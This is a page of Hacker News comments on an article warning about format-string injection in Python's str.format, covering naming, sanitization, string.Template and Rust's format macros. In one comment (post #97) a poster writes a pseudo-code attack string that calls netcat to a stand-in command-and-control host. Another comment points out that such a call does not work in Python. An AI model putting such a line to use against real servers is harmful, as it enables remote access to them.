Live data from Hacker News

Be Careful with Python's New-Style String Format

lucumr.pocoo.org

91–100 of 155 posts

Re: Be Careful with Python's New-Style String Format

#91

This article makes you thing the new f-strings will be discussed. What is really being discussed is 'string'.format(), which isn't new in any way.

It's referred to in the documentation as 'New-style', with the old style being the % operator.

Yes but quite confusing when we have another new style string format actively being discussed in recent months vs this "new-style formatting" which has existed since 2006.

It's much clearer to just refer to it as str.format.

Re: Be Careful with Python's New-Style String Format

#92
post #62

Earlier quoted context omitted.

ingesting raw user input is good emitting raw user input is bad

Isn't SQL injection caused by ingesting raw user input though? Seems to me you always have to be careful with user-supplied data.

I would have said that SQL injection is caused by emitting unescaped user input to your SQL server

Re: Be Careful with Python's New-Style String Format

#93

Earlier quoted context omitted.

The nice thing about the new format is that you can reverse the order of the variables inside the string, which is nice when you're localizing strings into languages with a reversed sentence structures, like Japanese. I haven't done a ton of Python, but the old style won't let you do that, will it?

Reversing the order is not possible, but you can use a dict instead: >>> "%(foo)s" % {"foo": "bar"} 'bar'

Heyyyyyy I did not know that. TIL, thank you.

Re: Be Careful with Python's New-Style String Format

#94

Earlier quoted context omitted.

It's referred to in the documentation as 'New-style', with the old style being the % operator.

Yes but quite confusing when we have another new style string format actively being discussed in recent months vs this "new-style formatting" which has existed since 2006. It's much clearer to just refer to it as str.format.

It's what invariably happens when you incorporate words like "new", "super" or "high definition" in the name of something. I'm still hoping that at some point our industry learns that lesson.

Re: Be Careful with Python's New-Style String Format

#95
post #82
post #76

So is the issue that it's a problem to let the format string be controlled arbitrarily? It's good to warn users around it because some may not know the dangers, but in general you don't trust user input, so I don't really see this as something you need to build something custom around, rather just be careful and follow good practices. It should be understood not to pass user data directly to internal code without san…

> It should be understood not to pass user data directly to internal code without sanitizing it. But how do you sanitize it? If you hadn't read this article and were told to sanitize a format string, how would you implement that? Unless you know exactly what the problem is, you're basically reduced to writing your own string formatter. (Though see 'anderskaseorg's example, it's a lot less code if you do.)

I think asking how to sanitize it is really asking the wrong question. We shouldn't sanitize a format string from a user in the first place. We should get input and generate a format string rather than allow one to be supplied "raw".

For example, using re.sub as another commenter pointed out.

An even more Pythonic solution would be to use the built-in string.Template [1] which at a glance appears to be safe against this kind of attack (but I haven't tested in code).

I'm not sure why Armin didn't mention string.Template in his post other than that it is much more restricted than str.format, however that kind of seems like the point to me.

[1]: https://docs.python.org/3.4/library/string.html#template-str...

Re: Be Careful with Python's New-Style String Format

#96
post #85
post #9

No, Rust does not have the ability to access any variable in the program via a format string. Rust has this: format!("{argument}", argument = "test"); // => "test" That's just named arguments to the format. Also, that's a macro; it's expanded at compile time. Python's approach is lame. It should have used something with a limited list of named arguments, or maybe a dict.

> It should have used something with a limited list of named arguments, or maybe a dict. Python does have that feature, called Template Strings: https://docs.python.org/3/library/string.html#template-strin...

Agree that these are a much better solution that I wish Armin would have dedicated a few sentences to.

Re: Be Careful with Python's New-Style String Format

#97

Earlier quoted context omitted.

Even if you don't emit the input you can run commands on the server. You can open up a reverse shell or deduce data from timing based side-channels. IMHO working with raw user data is bad; it should be sanitized/canonicalized before doing anything.

if you're running commands on the server I would consider your program as emitting output directly to another program. it's up to you to make sure you call it correctly and not emit raw user data

It seems the format string can run commands on the server.

I don't know Python, so this is a pseudo code example that a user could enter:

    "{system('nc c_and_c_box.example  /dev/null')} Nothing to see here, move along"

Re: Be Careful with Python's New-Style String Format

#98
post #92
post #62

Earlier quoted context omitted.

Isn't SQL injection caused by ingesting raw user input though? Seems to me you always have to be careful with user-supplied data.

I would have said that SQL injection is caused by emitting unescaped user input to your SQL server

If I call eval(string) am I emitting unescaped user input to the eval function?

I guess the definition of "injest" here is reading bytes off the wire?

Re: Be Careful with Python's New-Style String Format

#99

I tend to use the old style ("%s" % "lel"). Just wondering, does this affect that too?

The nice thing about the new format is that you can reverse the order of the variables inside the string, which is nice when you're localizing strings into languages with a reversed sentence structures, like Japanese. I haven't done a ton of Python, but the old style won't let you do that, will it?

I'm not sure I understand the use case for reversing the formatting variables, but you could do this to make old-style formatting work that way:

    >>> 'hello, %s %s' % tuple(reversed(['smith', 'bob']))
    'hello, bob smith'
I think it's more readable if you abstract that bit into a lambda function:

    >>> rev_args = lambda *args: tuple(reversed(args))
    >>> 'hello, %s %s' % rev_args('smith', 'bob')
    'hello, bob smith'

Re: Be Careful with Python's New-Style String Format

#100
post #9

No, Rust does not have the ability to access any variable in the program via a format string. Rust has this: format!("{argument}", argument = "test"); // => "test" That's just named arguments to the format. Also, that's a macro; it's expanded at compile time. Python's approach is lame. It should have used something with a limited list of named arguments, or maybe a dict.

Neither does python. The problem being discussed here is that the format string can access and attribute of the object passed in. From PEP3101 [0]: " Unlike some other programming languages, you cannot embed arbitrary expressions in format strings. This is by design - the types of expressions that you can use is deliberately limited. Only two operators are supported: the '.' (getattr) operator, and the '[]' (getitem)…

Which is still not safe enough, and in effect can be used to access any global variable as described in the OP article.

Rust formatting is done by macros - which expand at compile time and accept only string literals. This makes it impossible to pass user input to format!(), println!() and their ilk unless the end-user can access your compiler, in which case you have a much larger problem.

Post reply on HN